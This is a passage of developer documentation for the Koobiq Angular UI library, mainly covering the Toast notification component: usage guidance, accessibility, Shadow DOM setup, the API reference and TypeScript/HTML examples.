- `openedChange`: `Observable<boolean>` — Emits `true` when the pop-up opens and `false` when it closes. Part of the `KbqSiblingPopup` contract.
- `show()`: `void` — Shows the tooltip after `delay` ms. Suppresses showing while a pop-up on the same element holds the
  anchor or on a focus trigger that did not originate from the keyboard, and applies cursor-relative
  positioning when `relativeToPointer` is enabled.
- `hide()`: `void` — Hides the tooltip after `delay` ms and, when the user has genuinely left the host, un-mutes a tooltip
  that a pop-up on the same element had muted.

  `mouseleave` and `blur` are the release signals because the base class binds `hide` to both regardless
  of whether the tooltip is currently visible. A pop-up that is still attached does not count: its
  backdrop steals the hover from the trigger while the pointer stands still, and that `mouseleave` must
  not be mistaken for the user leaving.
- `showForMouseEvent()`: `void` — Shows the tooltip next to the cursor position of the given mouse event, anchoring it to the event's
  `currentTarget` instead of the directive's own host element.

  Use it when the trigger cannot be declared in the template — for instance for a tooltip shared by the
  cells of a virtualized table. The directive still has to be created in an injection context.
- `showForElement()`: `void` — Shows the tooltip anchored to the given element instead of the directive's own host element.

  Use it when the trigger cannot be declared in the template. The directive still has to be created in an
  injection context:

  ```ts
  const tooltip = runInInjectionContext(injector, () => new KbqTooltipTrigger());
  tooltip.showForElement(element);
  ```

  Does nothing while the tooltip is disabled or has no content — there is no overlay to anchor then.
- `updateOrigin()`: `void` — Positions the pop-up against `origin` — an element, or a rectangle in viewport coordinates such as the one
  `kbqCreateCaretOrigin` keeps on the caret — instead of the host element; `null` restores the host
  element. An open pop-up moves to the new origin at once.

  This moves the position origin only. `setExternalNativeElement` moves the host itself, and with it
  the trigger's event listeners, its focus target and the scroll containers the pop-up follows.

## Toast

- Entry point: `@koobiq/components/toast`
- NgModule: `KbqToastModule`
- Page: https://koobiq.io/en/components/toast/overview

### Overview

A toast is a non-modal message displayed on top of all elements on the screen. It differs from a popup in that it appears in the top right corner of the screen and is not tied to any specific interface element. It is used when no mandatory user response is required (i.e., a modal window is not needed).

**Example: Basic Toast** (`toast-overview`)

```ts toast-overview-example.ts
import { ChangeDetectionStrategy, Component, inject, TemplateRef } from '@angular/core';
import { KbqButtonModule } from '@koobiq/components/button';
import { KbqLink } from '@koobiq/components/link';
import { KbqToastService, KbqToastStyle } from '@koobiq/components/toast';

@Component({
    selector: 'toast-overview-example',
    imports: [
        KbqLink,
        KbqButtonModule
    ],
    template: `
        <ng-template #toastAction let-toast>
            <a kbqLink pseudo (click)="toast.close()">Обновить</a>
        </ng-template>

        <div class="demo-block">
            <button class="example-button" kbq-button (click)="showToast(toastAction)">Показать тост</button>
        </div>
    `,
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class ToastOverviewExample {
    readonly toastService = inject(KbqToastService);

    showToast(actions: TemplateRef<any>) {
        this.toastService.show({
            style: KbqToastStyle.Success,
            title: 'Доступно обновление агента',
            caption: 'Версия 2.03.15 от 15 мая 2022',
            actions,
            closeButton: true
        });
    }
}
```

#### How it works

##### Message length

The recommended message length is 144 characters, and the title length is 80 characters. Long text is not truncated — the toast grows in height.

##### Toast types

**Information.** Any system message that does not require an immediate response, or for which there was no suitable place to embed in the on-screen content. For example, it can inform the user that a background operation has been launched by their command.

**Success.** A message about a completed operation. May include a "Cancel" button. It is useful to offer the user the option to view the result of the operation, if possible.

**Warning.** Helps the user avoid an error. This type of toast is used rarely.

**Error.** Reports an unsuccessful operation when the situation does not require immediate user intervention and work can continue.

**Example: Toast types** (`toast-types-overview`)

```ts toast-types-overview-example.ts
import { NgTemplateOutlet } from '@angular/common';
import { ChangeDetectionStrategy, Component, inject, TemplateRef } from '@angular/core';
import { KbqButtonModule } from '@koobiq/components/button';
import { KbqLink } from '@koobiq/components/link';
import { KbqToastService, KbqToastStyle } from '@koobiq/components/toast';

@Component({
    selector: 'toast-types-overview-example',
    imports: [
        KbqLink,
        NgTemplateOutlet,
        KbqButtonModule
    ],
    templateUrl: 'toast-types-overview-example.html',
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class ToastTypesOverviewExample {
    readonly toastService = inject(KbqToastService);

    showContrastToast(actions: TemplateRef<any>) {
        this.toastService.show({
            title: 'Доступно обновление агента',
            caption: 'Версия 2.03.15 от 15 мая 2022',
            actions
        });
    }

    showSuccessToast() {
        this.toastService.show({ style: KbqToastStyle.Success, caption: 'Удалено 13 записей из журнала событий' });
    }

    showWarningToast(actions: TemplateRef<any>) {
        this.toastService.show({ style: KbqToastStyle.Warning, caption: 'Ваш пароль истекает через 5 дней', actions });
    }

    showErrorToast(actions: TemplateRef<any>) {
        this.toastService.show({
            style: KbqToastStyle.Error,
            caption: 'Не удалось авторизовать 15 агентов',
            actions
        });
    }
}
```

```html toast-types-overview-example.html
<ng-template #action let-actionText="text" let-toast>
    <a kbqLink pseudo (click)="toast.close()">
        {{ actionText }}
    </a>
</ng-template>

<ng-template #toastActionInfo let-toast>
    <ng-container *ngTemplateOutlet="action; context: { $implicit: toast, text: 'Обновить' }" />
</ng-template>
<ng-template #toastActionWarning let-toast>
    <ng-container *ngTemplateOutlet="action; context: { $implicit: toast, text: 'Сменить пароль' }" />
</ng-template>
<ng-template #toastActionError let-toast>
    <ng-container *ngTemplateOutlet="action; context: { $implicit: toast, text: 'Повторить' }" />
</ng-template>

<div style="gap: 16px" class="layout-row">
    <button kbq-button (click)="showContrastToast(toastActionInfo)">Информация</button>
    <button kbq-button (click)="showSuccessToast()">Успех</button>
    <button kbq-button (click)="showWarningToast(toastActionWarning)">Предупреждение</button>
    <button kbq-button (click)="showErrorToast(toastActionError)">Ошибка</button>
</div>
```

##### Message appearance

Toasts appear in the top right corner. Multiple messages form a stack on the screen. New messages appear at the bottom of the list. If there are many toasts, new ones may extend beyond the bottom boundary of the visible area. Most often, a toast opens in response to a user command, but the system can also show notifications on its own.

##### Disappearance

By default, toasts are hidden automatically. A message must remain in the toast list for at least 5 seconds before being hidden. Toasts disappear with a 2-second interval after the last dismissal (automatic or manual), so the user has time to read the text and the disappearance does not feel sudden.

###### By timer (default behavior)

The toast is hidden automatically. The message must be shown for at least 5 seconds.

###### On command

Messages do not disappear over time. The user can hide a toast using the "Close" button.

At the designer's request, a toast may close via a button in the action panel, by following a link in the message text, or after any other event. For example, after a file upload or another process that the toast was reporting on is complete.

###### On hover or focus

When the mouse hovers over or focus is on a message, all toasts stop disappearing. After the mouse leaves or focus is lost, messages with auto-hide begin disappearing one after another with an interval of 2–5 seconds. The condition must be met that the message was shown for at least 5 seconds and 2 seconds have passed between toast closings.

##### Close button

The option to hide a toast using the icon button in the corner is available by default. This action is not duplicated by an element in the action panel.

Sometimes it is useful to make a toast without a close × icon button. For example, when you need to show the progress of a background operation. In this case, a "Cancel" button with text should be placed in the action panel to allow interrupting the operation.

The default close button is a native `<button>` whose accessible name comes from the locale, so it is reachable with Tab and activated with Enter or Space. A template passed through `closeButton` replaces it entirely — keep it a real button and give it an accessible name.

##### Actions

Do not use toasts [to confirm commands](https://koobiq.io/en/components/modal.md#simple-dialog-without-a-header).

The toast action panel can contain two elements. As a rule, triggering an action closes the toast.

If there are more actions, the primary one should be shown first, and the rest hidden in a "More" menu. The menu name may differ if another name is more appropriate.

**Example: Toast actions** (`toast-actions-overview`)

```ts toast-actions-overview-example.ts
import { ChangeDetectionStrategy, Component, inject, TemplateRef, viewChild } from '@angular/core';
import { outputToObservable } from '@angular/core/rxjs-interop';
import { KbqButtonModule } from '@koobiq/components/button';
import { KbqDropdown, KbqDropdownModule } from '@koobiq/components/dropdown';
import { KbqLink, KbqLinkSuffix } from '@koobiq/components/link';
import { KbqToastService, KbqToastStyle } from '@koobiq/components/toast';
import { take } from 'rxjs/operators';

@Component({
    selector: 'toast-actions-overview-example',
    imports: [
        KbqLink,
        KbqLinkSuffix,
        KbqDropdownModule,
        KbqButtonModule
    ],
    templateUrl: 'toast-actions-overview-example.html',
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class ToastActionsOverviewExample {
    readonly dropdown = viewChild.required<KbqDropdown>('dropdown');

    readonly toastService = inject(KbqToastService);

    showSingleActionToast(title: TemplateRef<any>, actions: TemplateRef<any>) {
        this.toastService.show({ style: KbqToastStyle.Success, title, actions });
    }

    showTwoActionToast(actions: TemplateRef<any>) {
        this.toastService.show({ title: 'Доступно обновление компонентов', actions });
    }

    showManyActionToast(actions: TemplateRef<any>) {
        const { ref } = this.toastService.show(
            {
                title: 'Заголовок',
                caption: 'Подзаголовок, подробности',
                actions
            },
            0
        );

        outputToObservable(this.dropdown().closed)
            .pipe(take(1))
            .subscribe(() => ref.instance.close());
    }
}
```

```html toast-actions-overview-example.html
<ng-template #toastSingleActonContentTemplate>
    Политика
    <span class="kbq-text-normal-strong">Почтовые серверы Windows</span>
    удалена
</ng-template>

<ng-template #toastSingleActonActionsTemplate let-toast>
    <a kbqLink pseudo (click)="toast.close()">Восстановить</a>
</ng-template>

<ng-template #toastTwoActonActionsTemplate let-toast>
    <a kbqLink pseudo class="layout-margin-right-m" (click)="toast.close()">Посмотреть</a>
    <a kbqLink pseudo (click)="toast.close()">Отклонить</a>
</ng-template>

<ng-template #toastManyActionActionsTemplate let-toast>
    <a kbqLink pseudo class="layout-margin-right-m" (click)="toast.close()">Действие 1</a>
    <a kbqLink pseudo class="layout-margin-right-m" (click)="toast.close()">Действие 2</a>
    <a kbqLink pseudo role="button" [kbqDropdownTriggerFor]="dropdown">
        Еще
        <i kbqLinkSuffix kbq-icon="kbq-chevron-down-s_16"></i>
    </a>
</ng-template>
<kbq-dropdown #dropdown="kbqDropdown">
    <button kbq-dropdown-item>Второстепенное действие 1</button>
    <button kbq-dropdown-item>Второстепенное действие 2</button>
    <button kbq-dropdown-item>Второстепенное действие 3</button>
    <button kbq-dropdown-item>Второстепенное действие 4</button>
</kbq-dropdown>

<div style="gap: 16px" class="layout-row">
    <button
        kbq-button
        (click)="showSingleActionToast(toastSingleActonContentTemplate, toastSingleActonActionsTemplate)"
    >
        Одно действие
    </button>
    <button kbq-button (click)="showTwoActionToast(toastTwoActonActionsTemplate)">Два действия</button>
    <button kbq-button (click)="showManyActionToast(toastManyActionActionsTemplate)">Много действий</button>
</div>
```

A toast notification may contain a button to cancel an operation. The close × icon button cannot serve this purpose — it only hides the toast.

**Example: Toast report** (`toast-report-overview`)

```ts toast-report-overview-example.ts
import { ChangeDetectionStrategy, Component, inject, TemplateRef } from '@angular/core';
import { KbqButtonModule } from '@koobiq/components/button';
import { KbqLink } from '@koobiq/components/link';
import { KbqToastService, KbqToastStyle } from '@koobiq/components/toast';

@Component({
    selector: 'toast-report-overview-example',
    imports: [
        KbqLink,
        KbqButtonModule
    ],
    template: `
        <ng-template #toastContentTemplate>
            Отчет&nbsp;
            <span class="kbq-text-normal-strong">Защита периметра</span>
            &nbsp;удален
        </ng-template>

        <ng-template #toastActionsTemplate let-toast>
            <a kbqLink pseudo (click)="toast.close()">Восстановить</a>
        </ng-template>

        <button kbq-button (click)="showToast(toastContentTemplate, toastActionsTemplate)">Отчет</button>
    `,
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class ToastReportOverviewExample {
    readonly toastService = inject(KbqToastService);

    showToast(caption: TemplateRef<any>, actions: TemplateRef<any>) {
        this.toastService.show({ style: KbqToastStyle.Success, caption, actions }, 0);
    }
}
```

##### Links in message text

A link can be inserted into the message text (recommendation: no more than one).

**Example: Toast link** (`toast-link-overview`)

```ts toast-link-overview-example.ts
import { ChangeDetectionStrategy, Component, inject, TemplateRef } from '@angular/core';
import { KbqButtonModule } from '@koobiq/components/button';
import { KbqLink } from '@koobiq/components/link';
import { KbqToastService } from '@koobiq/components/toast';

@Component({
    selector: 'toast-link-overview-example',
    imports: [
        KbqLink,
        KbqButtonModule
    ],
    templateUrl: 'toast-link-overview-example.html',
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class ToastLinkOverviewExample {
    readonly toastService = inject(KbqToastService);

    showToastWithInlineLink(caption: TemplateRef<any>, actions: TemplateRef<any>) {
        this.toastService.show({ caption, actions });
    }
}
```

```html toast-link-overview-example.html
<ng-template #toastWithInlineLinkTemplate let-toast>
    <p>
        Запрос
        <a kbqLink pseudo>REQ-20180101-02</a>
        назначен на вас
    </p>
</ng-template>

<ng-template #toastActionsTemplate let-toast>
    <a kbqLink pseudo (click)="toast.close()">Восстановить</a>
</ng-template>

<button kbq-button (click)="showToastWithInlineLink(toastWithInlineLinkTemplate, toastActionsTemplate)">
    Тост с гиперссылкой в заголовке
</button>
```

##### Notification center and toast messages

Push messages from the Notification Center should be shown as toasts in a unified list with system messages.

At the designer's request, some toast messages may be recorded in the Notification Center. When a toast closes, it is useful to be able to review what happened and read error details. At the same time, there is no requirement to log every Notification Center message.

#### Focus and keyboard navigation

| Key           | Action                                         |
| ------------- | ---------------------------------------------- |
| Tab Shift+Tab | Move to the next or previous focusable element |
| Esc           | Close the toast                                |

##### Tab sequence

The sequence follows the reading order of the toast: the message first, its actions next, and the close button last.

1. Inline link inside the toast text
2. Action 1
3. Action 2
4. Close button
5. Inline link inside the next toast text
6. …
7. "Skip to content" link (optional)
8. First element in the [Main menu](https://koobiq.io/en/components/navbar.md)
9. …

##### Screen readers

A toast announces itself the moment it appears: the **error** and **warning** styles are inserted with `role="alert"` and interrupt the current announcement, the other styles use `role="status"` and wait for a pause. Both carry `aria-atomic="true"`, so the message is read as a whole. A toast shown through `showTemplate` gets `role="status"` on the first element of the template unless that element already declares a role of its own.

Auto-dismissal is paused by hovering and by focus only, and only for a toast shown through `show`: a template toast shown through `showTemplate` carries no such listeners and keeps counting down under the pointer. A screen reader user reading with a virtual cursor moves neither, so a toast that carries an action or reports an error should be shown with `duration: 0` and closed explicitly.

#### Design and animation

##### Position on screen

The toast appears in the top right corner of the screen. Multiple messages form a stack on the screen; new toasts are added at the bottom of the stack.

The position can be changed using `kbqToastConfigurationProvider`:

```ts
import { kbqToastConfigurationProvider, KbqToastPosition } from '@koobiq/components/toast';

@NgModule({
    providers: [
        kbqToastConfigurationProvider({ position: KbqToastPosition.BOTTOM_RIGHT })
    ]
})
```

##### Sizes

The width of the toast is fixed; the height depends on the content.

##### Animation

###### Appearance

The toast appears from the right horizontally. As it slides in, the new element becomes fully opaque. The height of the toast panel does not change.

###### Disappearance

The toast slides horizontally to the right beyond the screen edge. The toast window height does not change. As it slides, the element becomes transparent. Messages below it smoothly rise to fill the freed space in the stack.

Both animations are skipped when the operating system asks for reduced motion (`prefers-reduced-motion: reduce`); the toast then appears and disappears instantly.

#### Module Federation and Shadow DOM

Toasts are rendered through the CDK overlay, which by default appends its container to `document.body`. When the application is mounted inside a **Shadow DOM** — a common setup for Module Federation micro-frontends that isolate their styles — the toast escapes the shadow root into the light DOM. There it loses the styles and theme tokens scoped to the shadow root (Koobiq theme tokens are defined on the `.kbq-light` / `.kbq-dark` ancestor), so the toast appears unstyled.

Use `kbqShadowDomOverlayProvider` to route all CDK overlays (toast, modal, dropdown, tooltip, etc.) into the shadow root:

```ts
import { bootstrapApplication } from '@angular/platform-browser';
import { kbqShadowDomOverlayProvider } from '@koobiq/components/core';

bootstrapApplication(AppComponent, {
    providers: [
        // Pass the micro-frontend root element (or any element inside its shadow tree).
        ...kbqShadowDomOverlayProvider(() => document.querySelector('my-mfe-root')!)
    ]
});
```

When called without arguments, the application root component element is used to resolve the shadow root. If the host is not inside an **open** shadow root, the container stays on `document.body`, so the provider is safe to add unconditionally.

> The provider replaces the global `OverlayContainer`, so it cannot be combined with another custom `OverlayContainer` (such as CDK's `FullscreenOverlayContainer`) — the last provider wins.
>
> Besides relocating the container, the provider automatically delivers the CDK **structural** overlay styles (position, `z-index`, backdrop) into the shadow root. The micro-frontend is still responsible for delivering the **Koobiq component/theme styles** (the `.kbq-light` / `.kbq-dark` tokens and component CSS) into its shadow root, because global `document.head` stylesheets do not cross a shadow boundary.

##### One shared overlay container across micro-frontends

By default each micro-frontend that adds `kbqShadowDomOverlayProvider` gets **its own** `OverlayContainer`, so its overlays render inside **its own** shadow root and theme. That is the right default when every micro-frontend should keep its own theme.

If instead you want **all** micro-frontends to share a **single** overlay container — one stacking context, so overlays opened in different micro-frontends stack by open order — let the host create the container and pass that one instance to every remote:

```ts
import { OverlayContainer } from '@angular/cdk/overlay';
import { createApplication } from '@angular/platform-browser';
import { kbqShadowDomOverlayProvider } from '@koobiq/components/core';

// Host: create the single shared container in the host's shadow root.
const hostApp = await createApplication({
    providers: [...kbqShadowDomOverlayProvider(() => hostElement)]
});
const sharedOverlayContainer = hostApp.injector.get(OverlayContainer);

// Each remote micro-frontend reuses that same instance instead of creating its own.
const remoteApp = await createApplication({
    providers: [{ provide: OverlayContainer, useValue: sharedOverlayContainer }]
});
```

Trade-offs:

- All overlays (modal, sidepanel, select, dropdown, tooltip, toast, …) render in the **host's theme**, not each remote's own theme.
- The **host must outlive every remote** — it owns the container element, and its `ngOnDestroy` removes it.
- This unifies only the overlay **container**. A single toast **stack** additionally needs a single `KbqToastService` (each service keeps its own stack), so route toasts through one shared service.

### API

#### Components

##### KbqToastComponent (component)

```ts
@Component({ selector: 'kbq-toast' })
class KbqToastComponent {
    readonly data: KbqToastData;
    readonly hovered: Signal<boolean>;
    readonly focused: Signal<boolean>;
    id: number;
    readonly $implicit: this;
    get isFocusedOrHovered(): boolean;
    close(): void;
}
```

- `hovered`: `Signal<boolean>` — Whether the pointer is over the toast.
- `focused`: `Signal<boolean>` — Whether the toast or an element inside it holds the focus.
- `$implicit`: `this` — Context of the templates a consumer passes through `KbqToastData`.

##### KbqToastContainerComponent (component)

```ts
@Component({ selector: 'kbq-toast-container' })
class KbqToastContainerComponent extends CdkScrollable {
    readonly service: KbqToastService<any>;
    readonly viewContainer: Signal<ViewContainerRef>;
    createToast<C>(
        data: KbqToastData,
        componentType: Type<C>,
        onTop: boolean
    ): ComponentRef<C>;
    createTemplate(
        data: KbqToastData,
        template: TemplateRef<any>,
        onTop: boolean
    ): EmbeddedViewRef<KbqToastTemplateContext>;
    remove(viewRef: ViewRef): void;
    getInjector(data: KbqToastData): Injector;
    elementScrolled(): Observable<Event>;
    getElementRef(): ElementRef<HTMLElement>;
    scrollTo(options: ExtendedScrollToOptions): void;
    measureScrollOffset(
        from: "top" | "right" | "left" | "bottom" | "start" | "end"
    ): number;
}
```

- `elementScrolled()`: `Observable<Event>` — Returns observable that emits when a scroll event is fired on the host element.
- `getElementRef()`: `ElementRef<HTMLElement>` — Gets the ElementRef for the viewport.
- `scrollTo()`: `void` — Scrolls to the specified offsets. This is a normalized version of the browser's native scrollTo
  method, since browsers are not consistent about what scrollLeft means in RTL. For this method
  left and right always refer to the left and right side of the scrolling container irrespective
  of the layout direction. start and end refer to left and right in an LTR context and vice-versa
  in an RTL context.
  - `options`: `ExtendedScrollToOptions` — specified the offsets to scroll to.
- `measureScrollOffset()`: `number` — Measures the scroll offset relative to the specified edge of the viewport. This method can be
  used instead of directly checking scrollLeft or scrollTop, since browsers are not consistent
  about what scrollLeft means in RTL. The values returned by this method are normalized such that
  left and right always refer to the left and right side of the scrolling container irrespective
  of the layout direction. start and end refer to left and right in an LTR context and vice-versa
  in an RTL context.
  - `from`: `"top" | "right" | "left" | "bottom" | "start" | "end"` — The edge to measure from.

#### Directives

##### KbqToastCloseButton (directive)

```ts
@Directive({ selector: '[kbq-toast-close-button]' })
class KbqToastCloseButton {}
```

#### Services

##### KbqToastService (service)

Generic `T` is a type hint only; the runtime component comes from `KBQ_TOAST_FACTORY`.

```ts
@Injectable({ providedIn: 'root' })
class KbqToastService<T extends KbqToastComponent = KbqToastComponent> implements KbqToastStack {
    get toasts(): ComponentRef<T>[];
    get templates(): EmbeddedViewRef<KbqToastTemplateContext>[];
    readonly read: BehaviorSubject<KbqToastData | null>;
    readonly hovered: Signal<boolean>;
    readonly focused: Signal<boolean>;
    readonly timer: Observable<number>;
    show(
        data: KbqToastData,
        duration?: number,
        onTop?: boolean
    ): { ref: ComponentRef<T>; id: number };
    showTemplate(
        data: KbqToastData,
        template: TemplateRef<any>,
        duration?: number,
        onTop?: boolean
    ): { ref: EmbeddedViewRef<KbqToastTemplateContext>; id: number };
    hide(id: number): void;
    hideTemplate(id: number): void;
}
```

- `hovered`: `Signal<boolean>` — Whether at least one toast is hovered.
- `focused`: `Signal<boolean>` — Whether at least one toast holds the focus.
- `timer`: `Observable<number>` — Countdown heartbeat: emits every 500 ms while the stack holds something and is not paused by the pointer
  or the keyboard focus. No interval runs while the stack is empty.

#### Classes

##### KbqToastData (class)

```ts
class KbqToastData {
    id?: string;
    title?: string | TemplateRef<any>;
    style?: KbqToastStyle | (string & {});
    icon?: TemplateRef<any> | boolean;
    iconClass?: string;
    caption?: string | TemplateRef<any>;
    content?: string | TemplateRef<any>;
    actions?: TemplateRef<any>;
    closeButton?: TemplateRef<any> | boolean;
}
```

- `style?`: `KbqToastStyle | (string & {})` — Visual style of the toast. Styles outside `KbqToastStyle` render without a default icon.

#### Types

##### KbqToastConfig (interface)

```ts
interface KbqToastConfig {
    position: KbqToastPosition;
    duration: number;
    delay: number;
    onTop: boolean;
    indent: {
        vertical: number;
        horizontal: number;
    };
}
```

- `indent`: `{ vertical: number; horizontal: number; }` — Custom indentation for positioning the toast stack overlay when using `GlobalPositionStrategy`
- `indent.vertical`: `number` — Vertical spacing from the top or bottom of the screen.
- `indent.horizontal`: `number` — Horizontal spacing from the left or right of the screen.

##### KbqToastStack (interface)

Narrow contract that a toast consumes from the service owning its stack.

`KbqToastService` implements it and provides itself under `KBQ_TOAST_STACK` for every toast it creates, so
that a toast never has to depend on the concrete service that instantiates it.

```ts
interface KbqToastStack {
    readonly read: Subject<KbqToastData | null>;
    hide(id: number): void;
    setHovered(id: number, hovered: boolean): void;
    setFocused(id: number, origin: FocusOrigin): void;
}
```

- `read`: `Subject<KbqToastData | null>` — Emits the data of a toast once the user has read it.
- `hide()`: `void` — Removes the toast with the given id from the stack.
- `setHovered()`: `void` — Reports that the pointer entered or left the toast with the given id.
- `setFocused()`: `void` — Reports the origin the toast with the given id is focused with, or `null` once it loses focus.

##### KbqToastTemplateContext (type)

Context of a template rendered by `KbqToastService.showTemplate`.

Note that it differs from the context of the slot templates passed through `KbqToastData` (title, caption,
content, actions, icon and close button), whose `$implicit` is the `KbqToastComponent` instance.

```ts
type KbqToastTemplateContext = {
    $implicit: KbqToastData;
};
```

#### Enums

##### KbqToastPosition (enum)

```ts
enum KbqToastPosition {
    TOP_RIGHT = 'top-right',
    TOP_LEFT = 'top-left',
    TOP_CENTER = 'top-center',
    BOTTOM_RIGHT = 'bottom-right',
    BOTTOM_LEFT = 'bottom-left',
    BOTTOM_CENTER = 'bottom-center',
    CENTER = 'center'
}
```

##### KbqToastStyle (enum)

```ts
enum KbqToastStyle {
    Contrast = 'contrast',
    Success = 'success',
    Warning = 'warning',
    Error = 'error'
}
```

#### Constants

##### defaultToastConfig (const)

Frozen so that the fallback every application shares cannot be reconfigured from a single consumer.

```ts
const defaultToastConfig: KbqToastConfig;
```

##### KBQ_TOAST_CONFIG (const)

```ts
const KBQ_TOAST_CONFIG: InjectionToken<KbqToastConfig>;
```

##### KBQ_TOAST_FACTORY (const)

```ts
const KBQ_TOAST_FACTORY: InjectionToken<typeof KbqToastComponent>;
```

##### KBQ_TOAST_STACK (const)

Stack a toast belongs to. Provided by `KbqToastService` for every toast it creates.

```ts
const KBQ_TOAST_STACK: InjectionToken<KbqToastStack>;
```

##### kbqToastConfigurationProvider (const)

Utility provider for `KBQ_TOAST_CONFIG`.

```ts
const kbqToastConfigurationProvider: (
    configuration: Partial<KbqToastConfig>
) => Provider;
```

### Examples

#### Disappearance

**Example: Toast hide** (`toast-hide-overview`)

```ts toast-hide-overview-example.ts
import { NgTemplateOutlet } from '@angular/common';
import { ChangeDetectionStrategy, Component, inject, TemplateRef } from '@angular/core';
import { KbqButtonModule } from '@koobiq/components/button';
import { KbqLink } from '@koobiq/components/link';
import { KbqProgressBarModule } from '@koobiq/components/progress-bar';
import { KbqToastService, KbqToastStyle } from '@koobiq/components/toast';
import { switchMap, timer } from 'rxjs';

@Component({
    selector: 'toast-hide-overview-example',
    imports: [
        KbqButtonModule,
        KbqLink,
        KbqProgressBarModule,
        NgTemplateOutlet
    ],
    templateUrl: 'toast-hide-overview-example.html',
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class ToastHideOverviewExample {
    progress: boolean;

    readonly toastService = inject(KbqToastService);

    showDefaultToast(actions: TemplateRef<any>) {
        this.toastService.show({
            title: 'Доступно обновление агента',
            caption: 'Версия 2.03.15 от 15 мая 2022',
            actions
        });
    }

    showPermanentToast(content: TemplateRef<any>, actions: TemplateRef<any>) {
        this.progress = true;
        const { ref } = this.toastService.show(
            {
                title: 'Импорт файлов',
                caption: '12,1 МБ из 85 МБ — осталось 15 мин  ',
                closeButton: false,
                content,
                actions
            },
            0
        );

        timer(2000)
            .pipe(
                switchMap(() => {
                    this.progress = false;

                    return timer(550);
                })
            )
            .subscribe(() => ref.instance.close());
    }

    showWarningToast(actions: TemplateRef<any>) {
        this.toastService.show({ style: KbqToastStyle.Warning, caption: 'Ваш пароль истекает через 5 дней', actions });
    }
}
```

```html toast-hide-overview-example.html
<ng-template #action let-actionText="text" let-toast>
    <a kbqLink pseudo (click)="toast.close()">
        {{ actionText }}
    </a>
</ng-template>

<ng-template #toastActionInfo let-toast>
    <ng-container [ngTemplateOutlet]="action" [ngTemplateOutletContext]="{ $implicit: toast, text: 'Обновить' }" />
</ng-template>
<ng-template #toastActionWarning let-toast>
    <ng-container
        [ngTemplateOutlet]="action"
        [ngTemplateOutletContext]="{ $implicit: toast, text: 'Сменить пароль' }"
    />
</ng-template>

<ng-template #toastPermanentContentTemplate>
    @if (progress) {
        <kbq-progress-bar class="layout-margin-top-m layout-margin-bottom-m" [mode]="'indeterminate'" />
    } @else {
        <div>
            <span>Импорт файлов завершен</span>
            <i kbq-icon="kbq-circle-check_16" class="kbq-success"></i>
        </div>
    }
</ng-template>

<ng-template #toastPermanentActionsTemplate let-toast>
    <a kbqLink pseudo (click)="toast.close()">Отмена</a>
</ng-template>

<div style="gap: 16px" class="layout-row">
    <button kbq-button (click)="showDefaultToast(toastActionInfo)">По таймеру</button>
    <button kbq-button (click)="showPermanentToast(toastPermanentContentTemplate, toastPermanentActionsTemplate)">
        По команде
    </button>
    <button kbq-button (click)="showWarningToast(toastActionWarning)">Ховер или фокус</button>
</div>
```

#### The "Close" button

**Example: Toast progress bar** (`toast-progress-bar-overview`)

```ts toast-progress-bar-overview-example.ts
import { ChangeDetectionStrategy, Component, inject, TemplateRef } from '@angular/core';
import { KbqButtonModule } from '@koobiq/components/button';
import { KbqLink } from '@koobiq/components/link';
import { KbqProgressBarModule } from '@koobiq/components/progress-bar';
import { KbqToastService } from '@koobiq/components/toast';

@Component({
    selector: 'toast-progress-bar-overview-example',
    imports: [
        KbqProgressBarModule,
        KbqLink,
        KbqButtonModule
    ],
    template: `
        <ng-template #toastStickyContentTemplate let-toast>
            <kbq-progress-bar class="layout-margin-top-m layout-margin-bottom-m" [mode]="'indeterminate'" />
        </ng-template>

        <ng-template #toastStickyActionsTemplate let-toast>
            <a kbqLink pseudo (click)="toast.close()">Отмена</a>
        </ng-template>

        <button kbq-button (click)="showStickyToast(toastStickyContentTemplate, toastStickyActionsTemplate)">
            Тост с прогресс-баром, кнопкой Отмена и без крестика
        </button>
    `,
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class ToastProgressBarOverviewExample {
    readonly toastService = inject(KbqToastService);

    showStickyToast(content: TemplateRef<any>, actions: TemplateRef<any>) {
        this.toastService.show(
            {
                title: 'Импорт файлов',
                caption: '12,1 МБ из 85 МБ — осталось 15 мин  ',
                closeButton: false,
                content,
                actions
            },
            0
        );
    }
}
```

#### Access to user data

**Example: Toast user data** (`toast-user-data`)

```ts toast-user-data-example.ts
import { ChangeDetectionStrategy, Component, inject, TemplateRef } from '@angular/core';
import { KbqButtonModule } from '@koobiq/components/button';
import { KbqLink } from '@koobiq/components/link';
import { KbqToastData, KbqToastService, KbqToastStyle } from '@koobiq/components/toast';

@Component({
    selector: 'toast-user-data-example',
    imports: [
        KbqLink,
        KbqButtonModule
    ],
    templateUrl: 'toast-user-data-example.html',
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class ToastUserDataExample {
    readonly toastService = inject(KbqToastService);

    showToast(actions: TemplateRef<any>) {
        interface ExtendedUserData extends KbqToastData {
            userData: string;
            userButtonName: string;
        }

        this.toastService.show(<ExtendedUserData>{
            style: KbqToastStyle.Success,
            title: 'Agent update available',
            caption: 'Version 2.03.15 from May 15, 2022',
            actions,
            closeButton: true,
            userData: 'AnyUserData',
            userButtonName: 'Update'
        });
    }
}
```

```html toast-user-data-example.html
<ng-template #toastAction let-toast>
    <a kbqLink pseudo (click)="toast.close()">
        {{ toast.data.userButtonName }}
    </a>
    <br />
    {{ toast.data.userData }}
</ng-template>

<div class="demo-block">
    <button kbq-button class="example-button" (click)="showToast(toastAction)">Show toast</button>
</div>
```

#### Line breaks

**Example: toast-multiline** (`toast-multiline`)

```ts toast-multiline-example.ts
import { ChangeDetectionStrategy, Component, inject, TemplateRef } from '@angular/core';
import { KbqButtonModule } from '@koobiq/components/button';
import { KbqLink } from '@koobiq/components/link';
import { KbqToastService, KbqToastStyle } from '@koobiq/components/toast';

@Component({
    selector: 'toast-multiline-example',
    imports: [
        KbqLink,
        KbqButtonModule
    ],
    template: `
        <ng-template #toastAction let-toast>
            <a kbqLink pseudo (click)="toast.close()">Обновить</a>
        </ng-template>

        <div class="demo-block">
            <button class="example-button" kbq-button (click)="showToast(toastAction)">Показать тост</button>
        </div>
    `,
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class ToastMultilineExample {
    readonly toastService = inject(KbqToastService);

    showToast(actions: TemplateRef<any>) {
